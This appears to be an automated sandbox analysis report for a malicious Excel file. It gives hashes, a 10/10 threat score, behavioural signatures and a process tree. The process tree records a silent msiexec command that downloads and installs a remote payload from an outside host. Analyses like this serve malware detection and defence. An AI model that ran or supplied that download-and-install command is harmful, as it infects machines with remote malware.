Analysis

  • max time kernel
    46s
  • max time network
    34s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-09-2024 21:19

General

  • Target

    b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls

  • Size

    82KB

  • MD5

    4343c63398743e8ac3d76e63f799f1b6

  • SHA1

    7cd562a9c1be7d4f39ae824e1caeed9a6d03b81a

  • SHA256

    b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2

  • SHA512

    5af95beba0db5b5ea49fcaacb24013002afc51144a912fd8e250f522f8e371d278512e5740c7ca2ba3e7a16ef520b577bf01205a3435df378cfcbd9041f1348c

  • SSDEEP

    1536:0Kpb8rGYrMPelwhKmFV5xtezEsgrdgrebDG7XE8rMxLgb4JSt1mGJfFacueBkgVq:0Kpb8rGYrMPelwhKmFV5xtezEsgrdgwR

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Use of msiexec (install) with remote resource 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4516
    • C:\Windows\SYSTEM32\msiexec.exe
      msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP
      2⤵
      • Process spawned unexpected child process
      • Use of msiexec (install) with remote resource
      • Suspicious use of AdjustPrivilegeToken
      PID:5084
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:540

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/4516-0-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

    Filesize

    64KB

  • memory/4516-1-0x00007FFC5488D000-0x00007FFC5488E000-memory.dmp

    Filesize

    4KB

  • memory/4516-4-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

    Filesize

    64KB

  • memory/4516-2-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

    Filesize

    64KB

  • memory/4516-6-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-5-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-7-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

    Filesize

    64KB

  • memory/4516-8-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-3-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

    Filesize

    64KB

  • memory/4516-11-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-10-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-15-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-16-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-14-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-17-0x00007FFC12810000-0x00007FFC12820000-memory.dmp

    Filesize

    64KB

  • memory/4516-13-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-12-0x00007FFC12810000-0x00007FFC12820000-memory.dmp

    Filesize

    64KB

  • memory/4516-9-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-30-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-31-0x00007FFC5488D000-0x00007FFC5488E000-memory.dmp

    Filesize

    4KB

  • memory/4516-32-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

    Filesize

    2.0MB